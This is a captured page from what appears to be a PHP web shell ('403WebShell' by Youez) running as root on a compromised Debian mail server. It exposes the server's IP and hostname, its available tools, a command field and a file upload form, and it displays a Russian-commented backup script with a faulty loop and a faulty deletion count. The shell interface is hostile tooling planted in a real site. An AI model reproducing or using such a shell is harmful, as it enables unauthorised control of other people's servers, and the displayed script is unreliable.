Uname:Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

403WebShell
403Webshell
Server IP : 82.148.16.210  /  Your IP : 216.73.216.19
Web Server : nginx/1.29.5
System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/projects/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/projects/backup_env3.sh
#!/bin/bash

if [ -n "$1" ]; then
  echo "You supplied the first parameter!"
  echo $1
else
  echo "First parameter not supplied."
  exit
fi

echo "Backup ENV3"

sudo apt install xz-utils
mkdir -p /srv/projects/backups



#DATE=`date "+%Y%m%d_%H%M"`
#tar cJvf backup_env3_$DATE.xz env3/


# Переменная для сохранения строки с датой
BACKUP_DATE=`date +%Y%m%d_%H%M%S`

# Префикс, или, говоря иначе, начало имени файла
BACKUP_PREFIX="env3"

# Количество копий, которое нужно сохранять
MAX_COPIES_COUNTER=5

# Директория, которая будет архивироваться
DIRECTORY_TO_BACKUP="/srv/projects/env3"

# Директория, в которой будут храниться бэкапы
DIRECTORY_FOR_BACKUPS="/srv/projects/backups"



# Собственно архивация
# При архивации сообщения об ошибках будут погашены
tar -cJvf ${DIRECTORY_FOR_BACKUPS}/${BACKUP_PREFIX}_${BACKUP_DATE}.tar.xz ${DIRECTORY_TO_BACKUP} 2>/dev/null

# Подсчитываем количество копий, которое сохранено в папке для хранения резервных копий
COPIES_COUNTER=`ls ${DIRECTORY_FOR_BACKUPS} | grep ${BACKUP_PREFIX} | wc -l`

# Если файлов сохранено больше, чем нам необходимо
if [ ${COPIES_COUNTER} -gt ${MAX_COPIES_COUNTER} ]
then
# Вычисляем, сколько файлов нужно удалить из папки
NEED_TO_DELETE_COUNTER=$(($(ls ${DIRECTORY_FOR_BACKUPS} | wc -l)-${MAX_COPIES_COUNTER}))
# Организуем цикл, количество циклов равно количеству файлов, которое нужно удалить
for (( i==1; i<${NEED_TO_DELETE_COUNTER}; i++ ))
do
# Сортируем список файлов, берем из него первый и удаляем
# Файлы будут отсортированы по возрастанию, соответственно
# удалится самый ранний файл
rm ${DIRECTORY_FOR_BACKUPS}/$(ls ${DIRECTORY_FOR_BACKUPS} | sort | head -n 1)
done
fi


Youez - 2016 - github.com/yon3zu
LinuXploit